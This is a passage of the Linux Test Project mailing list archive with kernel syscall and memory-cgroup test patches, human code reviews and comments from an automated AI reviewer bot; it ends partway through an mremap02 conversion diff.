chrubis@suse.cz

From chrubis@suse.cz  Thu Aug  6 15:28:36 2026
From: chrubis@suse.cz (Cyril Hrubis)
Date: Thu, 6 Aug 2026 15:28:36 +0200
Subject: [LTP] [PATCH 4/5] mremap04: Convert to new API
In-Reply-To: <20260721-rewrite_mremap_testing_suite-v1-4-ec2c3cff6ea4@suse.com>
References: <20260721-rewrite_mremap_testing_suite-v1-0-ec2c3cff6ea4@suse.com>
 <20260721-rewrite_mremap_testing_suite-v1-4-ec2c3cff6ea4@suse.com>
Message-ID: <anSMBJKH8bjhJcs5@rei>

Hi!
> +	 * Pass old_size of one page while the segment is two pages: the
> +	 * mismatch is intentional and must be preserved.
>  	 */

Wouldn't this be enough for the mremap() to fail even with regular
mmap()? I do not see what the test needs the sysv shm for.

Also the interaction between SysV shm and mremap() seems to be more
complicated and may warrant more tests.

-- 
Cyril Hrubis
chrubis@suse.cz

From always.starving0@gmail.com  Thu Aug  6 17:08:13 2026
From: always.starving0@gmail.com (Jinseok Kim)
Date: Fri,  7 Aug 2026 00:08:13 +0900
Subject: [LTP] [PATCH v3] syscalls: consolidate getpid02 into getppid02
Message-ID: <20260806150814.4947-1-always.starving0@gmail.com>

Although named getpid02, the test verifies both getpid() and getppid()
across fork(). Reuse its broader coverage in getppid02 and remove the
duplicated getpid02 test.

While at it, rename proc_id to parent_pid for clarity and use
TST_EXP_EQ_LI() for PID comparisons.

Signed-off-by: Jinseok Kim <always.starving0@gmail.com>
---
Changes in v3:
- Rename proc_id to parent_pid for clarity.
- Use TST_EXP_EQ_LI() for PID comparisons.
- Link to v2: https://lore.kernel.org/ltp/20260729120820.5646-1-always.starving0@gmail.com
---
 runtest/syscalls                              |  1 -
 testcases/kernel/syscalls/getpid/.gitignore   |  1 -
 testcases/kernel/syscalls/getpid/getpid02.c   | 67 -------------------
 testcases/kernel/syscalls/getppid/getppid02.c | 43 ++++++++----
 4 files changed, 31 insertions(+), 81 deletions(-)
 delete mode 100644 testcases/kernel/syscalls/getpid/getpid02.c

diff --git a/runtest/syscalls b/runtest/syscalls
index a38743ded..62a33e3a6 100644
--- a/runtest/syscalls
+++ b/runtest/syscalls
@@ -517,7 +517,6 @@ getpgid02 getpgid02
 getpgrp01 getpgrp01

 getpid01 getpid01
-getpid02 getpid02

 getppid01 getppid01
 getppid02 getppid02
diff --git a/testcases/kernel/syscalls/getpid/.gitignore b/testcases/kernel/syscalls/getpid/.gitignore
index f44bc9eac..8e7ab0185 100644
--- a/testcases/kernel/syscalls/getpid/.gitignore
+++ b/testcases/kernel/syscalls/getpid/.gitignore
@@ -1,2 +1 @@
 /getpid01
-/getpid02
diff --git a/testcases/kernel/syscalls/getpid/getpid02.c b/testcases/kernel/syscalls/getpid/getpid02.c
deleted file mode 100644
index 08fcd5337..000000000
--- a/testcases/kernel/syscalls/getpid/getpid02.c
+++ /dev/null
@@ -1,67 +0,0 @@
-// SPDX-License-Identifier: GPL-2.0-or-later
-/*
- * Copyright (c) International Business Machines  Corp., 2001
- */
-
-/*\
- * Check that:
- *
- * - :manpage:`fork(2)` in parent returns the same pid as
- *   :manpage:`getpid(2)` in child
- * - :manpage:`getppid(2)` in child returns the same pid as
- *   :manpage:`getpid(2)` in parent
- */
-
-#include "tst_test.h"
-
-static pid_t *child_pid;
-
-static void verify_getpid(void)
-{
-	pid_t proc_id;
-	pid_t pid;
-	pid_t pproc_id;
-
-	proc_id = getpid();
-	pid = SAFE_FORK();
-
-	if (pid == 0) {
-		pproc_id = getppid();
-
-		if (pproc_id != proc_id) {
-			tst_res(TFAIL, "child getppid() (%d) != parent getpid() (%d)",
-				pproc_id, proc_id);
-		} else {
-			tst_res(TPASS, "child getppid() == parent getpid() (%d)", proc_id);
-		}
-
-		*child_pid = getpid();
-
-		return;
-	}
-
-	tst_reap_children();
-
-	if (*child_pid != pid)
-		tst_res(TFAIL, "child getpid() (%d) != parent fork() (%d)", *child_pid, pid);
-	else
-		tst_res(TPASS, "child getpid() == parent fork() (%d)", pid);
-}
-
-static void setup(void)
-{
-	child_pid = SAFE_MMAP(NULL, sizeof(pid_t), PROT_READ | PROT_WRITE,
-			      MAP_ANONYMOUS | MAP_SHARED, -1, 0);
-}
-
-static void cleanup(void)
-{
-	SAFE_MUNMAP(child_pid, sizeof(pid_t));
-}
-
-static struct tst_test test = {
-	.forks_child = 1,
-	.setup = setup,
-	.cleanup = cleanup,
-	.test_all = verify_getpid,
-};
diff --git a/testcases/kernel/syscalls/getppid/getppid02.c b/testcases/kernel/syscalls/getppid/getppid02.c
index 7497eba12..b9c773e8d 100644
--- a/testcases/kernel/syscalls/getppid/getppid02.c
+++ b/testcases/kernel/syscalls/getppid/getppid02.c
@@ -4,33 +4,52 @@
  */

 /*\
- * Check that getppid() in child returns the same pid as getpid() in parent.
+ * Check that:
+ *
+ * - :manpage:`fork(2)` in parent returns the same pid as
+ *   :manpage:`getpid(2)` in child
+ * - :manpage:`getppid(2)` in child returns the same pid as
+ *   :manpage:`getpid(2)` in parent
  */

-#include <errno.h>
-
 #include "tst_test.h"

+static pid_t *child_pid;
+
 static void verify_getppid(void)
 {
-	pid_t proc_id;
+	pid_t parent_pid;
 	pid_t pid;
-	pid_t pproc_id;

-	proc_id = getpid();
+	parent_pid = getpid();
 	pid = SAFE_FORK();
+
 	if (pid == 0) {
-		pproc_id = getppid();
+		TST_EXP_EQ_LI(getppid(), parent_pid);

-		if (pproc_id != proc_id)
-			tst_res(TFAIL, "child's ppid(%d) not equal to parent's pid(%d)",
-				pproc_id, proc_id);
-		else
-			tst_res(TPASS, "getppid() returned parent pid (%d)", proc_id);
+		*child_pid = getpid();
+		return;
 	}
+
+	tst_reap_children();
+
+	TST_EXP_EQ_LI(*child_pid, pid);
+}
+
+static void setup(void)
+{
+	child_pid = SAFE_MMAP(NULL, sizeof(pid_t), PROT_READ | PROT_WRITE,
+			      MAP_ANONYMOUS | MAP_SHARED, -1, 0);
+}
+
+static void cleanup(void)
+{
+	SAFE_MUNMAP(child_pid, sizeof(pid_t));
 }

 static struct tst_test test = {
 	.forks_child = 1,
+	.setup = setup,
+	.cleanup = cleanup,
 	.test_all = verify_getppid,
 };
--
2.43.0

From chrubis@suse.cz  Thu Aug  6 17:51:35 2026
From: chrubis@suse.cz (Cyril Hrubis)
Date: Thu, 6 Aug 2026 17:51:35 +0200
Subject: [LTP] [PATCH 5/5] mremap05: Convert to new API
In-Reply-To: <20260721-rewrite_mremap_testing_suite-v1-5-ec2c3cff6ea4@suse.com>
References: <20260721-rewrite_mremap_testing_suite-v1-0-ec2c3cff6ea4@suse.com>
 <20260721-rewrite_mremap_testing_suite-v1-5-ec2c3cff6ea4@suse.com>
Message-ID: <anSth2-NZJzonpY4@yuki.lan>

Hi!
It would be better if the MREMAP_FIXED | MREMAP_MAYMVOE mappings that
succeeds were moved into a separte test.

-- 
Cyril Hrubis
chrubis@suse.cz

From wegao@suse.com  Fri Aug  7 01:13:17 2026
From: wegao@suse.com (Wei Gao)
Date: Thu,  6 Aug 2026 23:13:17 +0000
Subject: [LTP] [PATCH v6] min_free_kbytes: Handle transient memory drops in
 check_monitor
In-Reply-To: <20260729053803.9823-1-wegao@suse.com>
References: <20260729053803.9823-1-wegao@suse.com>
Message-ID: <20260806231423.17724-1-wegao@suse.com>

High memory pressure can cause MemFree to temporarily drop below the
min_free_kbytes threshold before the kernel reclaimer can catch up.
This results in intermittent test failures, observed on openQA aarch64
virtual machines.

Implement a 2-second grace period with high-accuracy 10ms fixed polling
in check_monitor() to allow the kernel time to reclaim memory.

Introduce a 10% tolerance (90% threshold) for the MemFree check.
Measurements under extreme pressure show MemFree can dip as low as
~50% to ~70% of the target. While it typically recovers above 90%
within one second, hitting the exact 100% watermark sometimes can take
significantly longer. This tolerance prevents false positives during the
slow recovery tail while still ensuring memory is maintained near the
required level.

Also, increase the monitor's idle polling frequency from 2s to 100ms
to improve responsiveness during the test run.

Enhanced diagnostics are added to report the minimum memory level seen
during the pressure period to aid in future calibration.

Signed-off-by: Wei Gao <wegao@suse.com>
Reviewed-by: Petr Vorel <pvorel@suse.cz>
---
v5->v6:
- Simplified the loop checking MemFree based on Petr's feedback

 .../kernel/mem/tunable/min_free_kbytes.c      | 45 +++++++++++++++----
 1 file changed, 37 insertions(+), 8 deletions(-)

diff --git a/testcases/kernel/mem/tunable/min_free_kbytes.c b/testcases/kernel/mem/tunable/min_free_kbytes.c
index 4f991025a..e125601e9 100644
--- a/testcases/kernel/mem/tunable/min_free_kbytes.c
+++ b/testcases/kernel/mem/tunable/min_free_kbytes.c
@@ -1,6 +1,6 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
- * Copyright (c) Linux Test Project, 2012-2025
+ * Copyright (c) Linux Test Project, 2012-2026
  * Copyright (C) 2012-2017  Red Hat, Inc.
  */
 
@@ -169,21 +169,50 @@ static int eatup_mem(unsigned long overcommit_policy)
 static void check_monitor(void)
 {
 	int violated = 0;
-	unsigned long tune;
-	unsigned long memfree;
+	unsigned long tune, threshold;
+	unsigned long memfree, min_memfree;
+	int i;
 
 	while (!end) {
 		memfree = SAFE_READ_MEMINFO("MemFree:");
 		tune = TST_SYS_CONF_LONG_GET(PATH_VM_MIN_FREE_KBYTES);
+		/*
+		 * Allow 10% tolerance to account for transient states.
+		 */
+		threshold = tune * 9 / 10;
 
 		if (memfree < tune) {
-			tst_res(TINFO, "MemFree is %lu kB, "
-				"min_free_kbytes is %lu kB", memfree, tune);
-			tst_res(TFAIL, "MemFree < min_free_kbytes");
-			violated = 1;
+			min_memfree = memfree;
+			/*
+			 * Give it some time to reclaim. The kernel should keep
+			 * MemFree above min_free_kbytes, but transient drops
+			 * are possible under high pressure.
+			 * Check every 10ms for up to 2 seconds for high accuracy.
+			 */
+			for (i = 0; i < 200; i++) {
+				usleep(10000);
+				memfree = SAFE_READ_MEMINFO("MemFree:");
+				if (memfree < min_memfree)
+					min_memfree = memfree;
+
+				if (memfree >= tune)
+					break;
+			}
+
+			if (memfree < threshold) {
+				tst_res(TFAIL, "MemFree %lu kB < 90%% of min_free_kbytes %lu kB (MinSeen: %lu%%) after 2s",
+					memfree, tune, (min_memfree * 100 / tune));
+				violated = 1;
+			} else if (memfree < tune) {
+				tst_res(TINFO, "MemFree (%lu kB) stayed within 10%% tolerance (min %lu%%) after ~2s",
+					memfree, (min_memfree * 100 / tune));
+			} else {
+				tst_res(TINFO, "MemFree recovered to %lu kB (min %lu%%) after %d ms",
+					memfree, (min_memfree * 100 / tune), (i + 1) * 10);
+			}
 		}
 
-		sleep(2);
+		usleep(100000);
 	}
 
 	if (!violated)
-- 
2.54.0


From linuxtestproject.agent@gmail.com  Fri Aug  7 02:00:19 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Fri,  7 Aug 2026 00:00:19 +0000
Subject: [LTP] syscalls: consolidate getpid02 into getppid02
In-Reply-To: <20260806150814.4947-1-always.starving0@gmail.com>
References: <20260806150814.4947-1-always.starving0@gmail.com>
Message-ID: <20260807000019.8488-1-linuxtestproject.agent@gmail.com>

Hi Jinseok,

On Fri, 7 Aug 2026, Jinseok Kim wrote:
> syscalls: consolidate getpid02 into getppid02

Verdict - Reviewed

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From linuxtestproject.agent@gmail.com  Fri Aug  7 02:01:13 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Fri,  7 Aug 2026 00:01:13 +0000
Subject: [LTP] min_free_kbytes: Handle transient memory drops in
 check_monitor
In-Reply-To: <20260806231423.17724-1-wegao@suse.com>
References: <20260806231423.17724-1-wegao@suse.com>
Message-ID: <20260807000113.8784-1-linuxtestproject.agent@gmail.com>

Hi Wei,

On Thu, 6 Aug 2026, Wei Gao wrote:
> min_free_kbytes: Handle transient memory drops in check_monitor

> 			for (i = 0; i < 200; i++) {
> 				usleep(10000);
> 				memfree = SAFE_READ_MEMINFO("MemFree:");
> 				if (memfree < min_memfree)
> 					min_memfree = memfree;
>
> 				if (memfree >= tune)
> 					break;
> 			}

Could min_free_kbytes be reread during this loop, or could the monitor be
synchronized with each test case? test_tune() can install the next value while
this loop still compares MemFree with the previous value. This can report a
failure for a value that is no longer configured, or accept recovery to an old
lower value after a higher value has been installed.

> 			for (i = 0; i < 200; i++) {
> 				usleep(10000);

Could this use exponential-backoff polling instead? A fixed usleep() loop uses
timed waits to synchronize with asynchronous reclaim, which the LTP
synchronization rules prohibit.

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From wangxuewen@kylinos.cn  Fri Aug  7 03:44:16 2026
From: wangxuewen@kylinos.cn (Xuewen Wang)
Date: Fri,  7 Aug 2026 09:44:16 +0800
Subject: [LTP] [PATCH v3] memcg/functional: fix memcg_failcnt intermittent
 timeout by disabling swap
Message-ID: <20260807014416.1453266-1-wangxuewen@kylinos.cn>

memcg_failcnt.sh tests the memory.failcnt counter by allocating
reclaimable memory (mmap-anon/mmap-file/shm) beyond a tiny cgroup
limit (1 page). It relies on the process being OOM-killed so that
signal_memcg_process()'s wait loop exits.

With swap enabled the kernel usually still OOM-kills the process,
but on arm64 reclaim (swap out) sometimes succeeds instead:
usage_in_bytes stays at the limit and the process keeps running,
so the wait loop times out (TBROK) intermittently.

Example failure on arm64 (kernel 6.6):
  memcg_failcnt 2 TBROK: timed out on memory.usage_in_bytes 4096 0 8192

Disable swap around the allocation and re-enable it afterwards,
mirroring what memcg_limit_in_bytes.sh already does for the same
reclaimable memory types.

Signed-off-by: Xuewen Wang <wangxuewen@kylinos.cn>
---
Changes in v2:
- Drop "2>/dev/null" from swapoff/swapon so that a failure to disable
  swap (or a missing swapoff binary) stays visible, instead of silently
  letting the intermittent timeout recur. Per the LTP AI review, the
  redirect hid the very error this fix relies on, and
  memcg_limit_in_bytes.sh does not redirect stderr either.

Changes in v3:
- Move swapoff to do_setup() and swapon to do_cleanup() per Li Wang,
  instead of wrapping each test iteration with swapoff/swapon in do_test().
---
 .../controllers/memcg/functional/memcg_failcnt.sh  | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/testcases/kernel/controllers/memcg/functional/memcg_failcnt.sh b/testcases/kernel/controllers/memcg/functional/memcg_failcnt.sh
index 3a02d16c2..93e8d4838 100755
--- a/testcases/kernel/controllers/memcg/functional/memcg_failcnt.sh
+++ b/testcases/kernel/controllers/memcg/functional/memcg_failcnt.sh
@@ -11,6 +11,20 @@
 MEMCG_TESTFUNC=do_test
 MEMCG_SHMMAX=1
 TST_TEST_DATA="--mmap-anon --mmap-file --shm"
+TST_SETUP=do_setup
+TST_CLEANUP=do_cleanup
+
+do_setup()
+{
+	memcg_setup
+	swapoff -a
+}
+
+do_cleanup()
+{
+	swapon -a
+	memcg_cleanup
+}
 
 do_test()
 {
-- 
2.25.1


From wangxuewen@kylinos.cn  Fri Aug  7 04:00:25 2026
From: wangxuewen@kylinos.cn (Xuewen Wang)
Date: Fri, 7 Aug 2026 10:00:25 +0800
Subject: [LTP] [PATCH v2] memcg/functional: fix memcg_failcnt
 intermittent timeout by disabling swap
In-Reply-To: <anLnmVKGARAsrV6O@linux.dev>
References: <20260805064053.916492-1-wangxuewen@kylinos.cn>
 <anLnmVKGARAsrV6O@linux.dev>
Message-ID: <0a480ba8-f51b-43dc-83fb-0dda1fa85144@kylinos.cn>

Hi Li Wang,
Thank you for the review and the suggestions. I've sent v3 with the changes you proposed:

- Move swapoff to do_setup() and swapon to do_cleanup()
- Adjust the order in do_cleanup() to swapon first, then memcg_cleanup

Please take a look when you have time.
Best regards,
Xuewen Wang

? 2026/8/5 15:34, Li Wang ??:
> Hi Xuewen,
> 
> Xuewen Wang wrote:
> 
>> memcg_failcnt.sh tests the memory.failcnt counter by allocating
>> reclaimable memory (mmap-anon/mmap-file/shm) beyond a tiny cgroup
>> limit (1 page). It relies on the process being OOM-killed so that
>> signal_memcg_process()'s wait loop exits.
>>
>> With swap enabled the kernel usually still OOM-kills the process,
>> but on arm64 reclaim (swap out) sometimes succeeds instead:
>> usage_in_bytes stays at the limit and the process keeps running,
>> so the wait loop times out (TBROK) intermittently.
>>
>> Example failure on arm64 (kernel 6.6):
>>   memcg_failcnt 2 TBROK: timed out on memory.usage_in_bytes 4096 0 8192
>>
>> Disable swap around the allocation and re-enable it afterwards,
>> mirroring what memcg_limit_in_bytes.sh already does for the same
>> reclaimable memory types.
> 
> This fix make sense, but I'd rather go with a tidy way:
> 
> ...
> TST_SETUP=do_setup
> TST_CLEANUP=do_cleanup
> 
> do_setup()
> {
>         memcg_setup
>         swapoff -a
> }
> 
> do_cleanup()
> {
>         swapon -a
>         memcg_cleanup
> }
> 
> ...
> 
> My Red Hat email address is no longer used. Please CC my new
> address for future versions:
> 
>   li.wang@linux.dev
> or:
>   liwang@hygon.cn
> 


From linuxtestproject.agent@gmail.com  Fri Aug  7 04:51:50 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Fri,  7 Aug 2026 02:51:50 +0000
Subject: [LTP] memcg/functional: fix memcg_failcnt intermittent timeout
 by disabling swap
In-Reply-To: <20260807014416.1453266-1-wangxuewen@kylinos.cn>
References: <20260807014416.1453266-1-wangxuewen@kylinos.cn>
Message-ID: <20260807025150.4081-1-linuxtestproject.agent@gmail.com>

Hi Xuewen,

On Fri, Aug 7, 2026, Xuewen Wang wrote:
> memcg/functional: fix memcg_failcnt intermittent timeout by disabling swap

> +do_setup()
> +{
> +	memcg_setup
> +	swapoff -a
> +}

Could this use ROD so a failed swapoff aborts the test? swapoff can fail
when there is not enough memory to page the swap contents back in.
_tst_run_iterations() ignores the setup function's return status, so the
test proceeds with swap enabled and the original intermittent timeout
remains.

> +do_cleanup()
> +{
> +	swapon -a
> +	memcg_cleanup
> +}

Could cleanup restore only swap areas that were active before setup, and
only if swapoff was attempted? TST_DO_CLEANUP is set before do_setup(), so
a TCONF from memcg_setup() reaches this function before swapoff. swapon -a
can then activate previously inactive fstab entries. Conversely, dynamically
managed swap areas absent from fstab are disabled by swapoff -a but are not
restored by swapon -a.

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From li.wang@linux.dev  Fri Aug  7 05:28:37 2026
From: li.wang@linux.dev (Li Wang)
Date: Fri, 7 Aug 2026 11:28:37 +0800
Subject: [LTP] [PATCH v3] memcg/functional: fix memcg_failcnt
 intermittent timeout by disabling swap
In-Reply-To: <20260807014416.1453266-1-wangxuewen@kylinos.cn>
References: <20260807014416.1453266-1-wangxuewen@kylinos.cn>
Message-ID: <anVQ5fT9VHpVSAyH@linux.dev>

Patch merged, thanks!

-- 
Regards,
Li Wang

From li.wang@linux.dev  Fri Aug  7 05:52:45 2026
From: li.wang@linux.dev (Li Wang)
Date: Fri, 7 Aug 2026 11:52:45 +0800
Subject: [LTP] memcg/functional: fix memcg_failcnt intermittent timeout
 by disabling swap
In-Reply-To: <20260807025150.4081-1-linuxtestproject.agent@gmail.com>
References: <20260807014416.1453266-1-wangxuewen@kylinos.cn>
 <20260807025150.4081-1-linuxtestproject.agent@gmail.com>
Message-ID: <anVWjUOj6Oi5sBbz@linux.dev>

linuxtestproject.agent@gmail.com wrote:

> Hi Xuewen,
> 
> On Fri, Aug 7, 2026, Xuewen Wang wrote:
> > memcg/functional: fix memcg_failcnt intermittent timeout by disabling swap
> 
> > +do_setup()
> > +{
> > +	memcg_setup
> > +	swapoff -a
> > +}
> 
> Could this use ROD so a failed swapoff aborts the test? swapoff can fail
> when there is not enough memory to page the swap contents back in.
> _tst_run_iterations() ignores the setup function's return status, so the
> test proceeds with swap enabled and the original intermittent timeout
> remains.

Fair point that ignoring the return status defeats the purpose. But I'd
rather not TBROK on a swapoff failure, that's an environment limitation,
not a test failure. Especially swapoff here is an enhancement but not
a hard requirement for this test.

> 
> > +do_cleanup()
> > +{
> > +	swapon -a
> > +	memcg_cleanup
> > +}
> 
> Could cleanup restore only swap areas that were active before setup, and
> only if swapoff was attempted? TST_DO_CLEANUP is set before do_setup(), so
> a TCONF from memcg_setup() reaches this function before swapoff. swapon -a
> can then activate previously inactive fstab entries. Conversely, dynamically
> managed swap areas absent from fstab are disabled by swapoff -a but are not
> restored by swapon -a.

That is a bit over-engineering.

If an inactive fstab entry gets activated by swapon -a, that arguably
points to a misconfigured test host rather than something this test
should work around.


-- 
Regards,
Li Wang

From andrea.cervesato@suse.com  Fri Aug  7 07:34:49 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Fri, 07 Aug 2026 05:34:49 +0000
Subject: [LTP] memcg/functional: fix memcg_failcnt intermittent timeout
 by disabling swap
In-Reply-To: <anVWjUOj6Oi5sBbz@linux.dev>
Message-ID: <6a756e7a.cc089686.309364.c33e@mx.google.com>

Hi Li,

> Fair point that ignoring the return status defeats the purpose. But I'd
> rather not TBROK on a swapoff failure, that's an environment limitation,
> not a test failure. Especially swapoff here is an enhancement but not
> a hard requirement for this test.

I agree.

> That is a bit over-engineering.
> 
> If an inactive fstab entry gets activated by swapon -a, that arguably
> points to a misconfigured test host rather than something this test
> should work around.

And also here. Unfortunately we don't have enough data for shell tests,
so AI agent is not really working well in there..

Honestly I don't know how to fix this but adding more examples which
we don't have..

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From li.wang@linux.dev  Fri Aug  7 08:20:23 2026
From: li.wang@linux.dev (Li Wang)
Date: Fri, 7 Aug 2026 14:20:23 +0800
Subject: [LTP] memcg/functional: fix memcg_failcnt intermittent timeout
 by disabling swap
In-Reply-To: <6a756e7a.cc089686.309364.c33e@mx.google.com>
References: <anVWjUOj6Oi5sBbz@linux.dev>
 <6a756e7a.cc089686.309364.c33e@mx.google.com>
Message-ID: <anV5J8HZ-agTZpAB@linux.dev>

Hi Xuewen, Andrea,

On Fri, Aug 07, 2026 at 05:34:49AM +0000, Andrea Cervesato wrote:
> Hi Li,
> 
> > Fair point that ignoring the return status defeats the purpose. But I'd
> > rather not TBROK on a swapoff failure, that's an environment limitation,
> > not a test failure. Especially swapoff here is an enhancement but not
> > a hard requirement for this test.
> 
> I agree.
> 
> > That is a bit over-engineering.
> > 
> > If an inactive fstab entry gets activated by swapon -a, that arguably
> > points to a misconfigured test host rather than something this test
> > should work around.
> 
> And also here. Unfortunately we don't have enough data for shell tests,
> so AI agent is not really working well in there..
> 
> Honestly I don't know how to fix this but adding more examples which
> we don't have..

No worries, AI agent being too strict in reviewing is not a bad thing.
It inspires me to think about something maybe in a different way.

Like this patch, I am now thinking if we can just limit it only
inside the cgroup:

--- a/testcases/kernel/controllers/memcg/functional/memcg_failcnt.sh
+++ b/testcases/kernel/controllers/memcg/functional/memcg_failcnt.sh
@@ -17,18 +17,17 @@ TST_CLEANUP=do_cleanup
 do_setup()
 {
        memcg_setup
-       swapoff -a
 }

 do_cleanup()
 {
-       swapon -a
        memcg_cleanup
 }

 do_test()
 {
        ROD echo $MEMORY_LIMIT \> memory.limit_in_bytes
+       ROD echo 0 \> memory.swappiness

        start_memcg_process $2 -s ${MEMORY_TO_ALLOCATE}
        ROD echo $MEMCG_PROCESS_PID \> tasks

@Xuewen, can you try this patch and see if it can solve your problem?

-- 
Regards,
Li Wang

From andrea.cervesato@suse.com  Fri Aug  7 08:23:15 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Fri, 07 Aug 2026 06:23:15 +0000
Subject: [LTP] [PATCH 4/5] mremap04: Convert to new API
In-Reply-To: <anSMBJKH8bjhJcs5@rei>
Message-ID: <6a7579d4.5dfca4bd.124bf4.ac84@mx.google.com>

Hi Cyril,

> > +	 * Pass old_size of one page while the segment is two pages: the
> > +	 * mismatch is intentional and must be preserved.
> >  	 */
> 
> Wouldn't this be enough for the mremap() to fail even with regular
> mmap()? I do not see what the test needs the sysv shm for.

actually yes, but I think the original idea was to mix SysV with mremap()
syscall.

> 
> Also the interaction between SysV shm and mremap() seems to be more
> complicated and may warrant more tests.

mmmh, any idea?

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From tangyeechou@gmail.com  Fri Aug  7 08:28:25 2026
From: tangyeechou@gmail.com (Yizhou Tang)
Date: Fri, 7 Aug 2026 14:28:25 +0800
Subject: [LTP] Revert "tpci: unbind driver in test_assign_resources()"
In-Reply-To: <6a71e530.159d33f9.a396c.0aff@mx.google.com>
References: <77cf7e28-c8a4-4017-9ca7-425739d7378f@gmail.com>
 <6a71e530.159d33f9.a396c.0aff@mx.google.com>
Message-ID: <CAOB9oOZ4eGg6M-t4JoArwFEonzbdCV+Tkzu+7EdTh=2ciRPeVA@mail.gmail.com>

On Tue, Aug 4, 2026 at 9:12?PM Andrea Cervesato
<andrea.cervesato@suse.com> wrote:
>
> Hi Tang,
>
> > On 30/7/26 4:53 pm, Cyril Hrubis wrote:
> > > Hi!
> > >>> We recently confirmed this commit does cause a flood of I/O errors on
> > >>> the root filesystem in our testing, leaving the machine unusable until
> > >>> reboot.
> > >>>
> > >>> Given that, we'd appreciate the community helping to decide soon
> > >>> whether the revert is warranted.
> > >>
> > >> Are you 100% sure that is caused by the patch you want to revert?
> > >> Because the patch looked ok to me when I reviewed. We need to have
> > >> more context and info around the issue which has been generated in
> > >> order to avoid any workaround for a system/kernel bug.
> > >
> > > AFAIK the testing module grabs first device available on the system and
> > > uses it for testing. Which means that if you are unlucky it's your
> > > network card, or disk controller and you force reload it on a live
> > > system.
> > >
> > > And honestly the PCI test should be either rewritten and cleaned up to
> > > do something more sensible or just removed. As it is it's too fragile.
> > >
> >
> > Thank you for your feedback. It is very helpful to us.
> >
> > --
> > Best Regards,
> > Yi
> >
>
> Are you going to work on a new patch? what we do with this one?

Hi Andrea,

Sorry, I?m not a PCI expert, so for now I?ve only reverted this commit
in our company testing. I?ll follow your new patchset.

Best regards,
Yi

>
> Regards,
> --
> Andrea Cervesato
> SUSE QE Automation Engineer Linux
> andrea.cervesato@suse.com

From andrea.cervesato@suse.de  Fri Aug  7 08:59:05 2026
From: andrea.cervesato@suse.de (Andrea Cervesato)
Date: Fri, 07 Aug 2026 08:59:05 +0200
Subject: [LTP] [PATCH v2 0/6] Rewrite mremap testing suite
Message-ID: <20260807-rewrite_mremap_testing_suite-v2-0-1760ae8e3b8b@suse.com>

This rewrite has been done using multi-agent configuration that is now
present in ltp-agent project.

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
Changes in v2:
- mremap05: remove MREMAP_FIXED | MMAP_MAYMOVE
- mremap04: remove SysV stuff
- mremap01: ftruncate every run() cycle
- mremap02: reset bad address when mremap goes well
- Link to v1: https://lore.kernel.org/20260721-rewrite_mremap_testing_suite-v1-0-ec2c3cff6ea4@suse.com

To: Linux Test Project <ltp@lists.linux.it>

---
Andrea Cervesato (6):
      mremap01: Convert to new API
      mremap02: Convert to new API
      mremap03: Convert to new API
      mremap04: Convert to new API
      mremap05: Convert to new API
      mremap08: Extract test from mremap05

 runtest/syscalls                            |   1 +
 testcases/kernel/syscalls/mremap/.gitignore |   1 +
 testcases/kernel/syscalls/mremap/Makefile   |   4 +-
 testcases/kernel/syscalls/mremap/mremap01.c | 281 +++++++++-------------------
 testcases/kernel/syscalls/mremap/mremap02.c | 201 +++++---------------
 testcases/kernel/syscalls/mremap/mremap03.c | 203 ++++----------------
 testcases/kernel/syscalls/mremap/mremap04.c | 265 +++++---------------------
 testcases/kernel/syscalls/mremap/mremap05.c | 278 ++++++++-------------------
 testcases/kernel/syscalls/mremap/mremap08.c | 128 +++++++++++++
 9 files changed, 413 insertions(+), 949 deletions(-)
---
base-commit: 12fcadf63a99fc4bec76f9b4715cda626256562f
change-id: 20260720-rewrite_mremap_testing_suite-da09a8bc836a

Best regards,
--  
Andrea Cervesato <andrea.cervesato@suse.com>


From andrea.cervesato@suse.de  Fri Aug  7 08:59:07 2026
From: andrea.cervesato@suse.de (Andrea Cervesato)
Date: Fri, 07 Aug 2026 08:59:07 +0200
Subject: [LTP] [PATCH v2 2/6] mremap02: Convert to new API
In-Reply-To: <20260807-rewrite_mremap_testing_suite-v2-0-1760ae8e3b8b@suse.com>
References: <20260807-rewrite_mremap_testing_suite-v2-0-1760ae8e3b8b@suse.com>
Message-ID: <20260807-rewrite_mremap_testing_suite-v2-2-1760ae8e3b8b@suse.com>

From: Andrea Cervesato <andrea.cervesato@suse.com>

Convert the mremap02 test case from the legacy LTP API to the new
tst_test API.

Rewrite the test to explicitly construct a genuinely non-page-aligned
old_address by mapping a single anonymous page and offsetting it by one
byte, replacing the original's reliance on an uninitialized global
pointer. Use TST_EXP_FAIL_PTR_VOID() to verify that mremap() fails with
MAP_FAILED and EINVAL when expanding the mapping.

Reviewed-by: Cyril Hrubis <chrubis@suse.cz>
Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 testcases/kernel/syscalls/mremap/mremap02.c | 201 ++++++----------------------
 1 file changed, 44 insertions(+), 157 deletions(-)

diff --git a/testcases/kernel/syscalls/mremap/mremap02.c b/testcases/kernel/syscalls/mremap/mremap02.c
index 2dabc6847..354a67c89 100644
--- a/testcases/kernel/syscalls/mremap/mremap02.c
+++ b/testcases/kernel/syscalls/mremap/mremap02.c
@@ -1,178 +1,65 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
